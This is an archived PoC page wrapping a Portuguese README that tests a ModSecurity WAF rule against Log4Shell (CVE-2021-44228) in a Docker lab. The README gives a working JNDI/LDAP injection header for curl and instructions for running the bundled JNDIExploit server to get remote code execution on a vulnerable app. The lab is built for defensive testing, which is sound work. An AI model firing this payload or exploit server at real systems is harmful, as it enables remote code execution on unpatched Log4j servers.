关联漏洞
描述
Regra ModSec para proteção log4j2 - CVE-2021-44228
介绍
### Testando a regra de ModSec ###
### Pré requisitos ###
- Ter docker instalado
- Ter Java instalado na sua máquina
### Executando o teste ###
- Realizar o git clone do repositorio
- Executar o comando abaixo para subir o WAF (ModSec) e a aplicação vulneravel
```sh
docker stack deploy -c docker-compose.yml WAF
```
- Extrair o JNDIExploit.v1.2.zip que está no repositorio, entrar na pasta e executar o comando abaixo, sendo que o $IP deve se o IP da sua máquina, não recomendo que coloque o 127.0.0.1
```sh
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
```
- Para testar o RCE execute o curl abaixo alterando o $IP pelo IP da sua máquina, ele vai criar um arquivo pwned dentro de /tmp da aplicação vulneravel
```sh
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```
### Pergunta dos universitarios ###
1- Como saber se o meu WAF e aplicação WEB vulneravel subiu ?
Execute ```docker service ls``` , e verifique se tem dois serviços cada um com uma replica.
2- Como pegar log do modsec?
Execute ```docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log```
3- Como verificar se o RCE não deu certo?
O curl que utilizamos cria um arquivo com nome pwned dentro de tmp dessa forma precisamosa executar
```docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp```
文件快照
[4.0K] /data/pocs/23256ad4482a0355edca75f47404bfc7e2a8836e
├── [ 242] docker-compose.yml
├── [ 34M] JNDIExploit.v1.2.zip
├── [686K] log4.pdf
└── [1.5K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。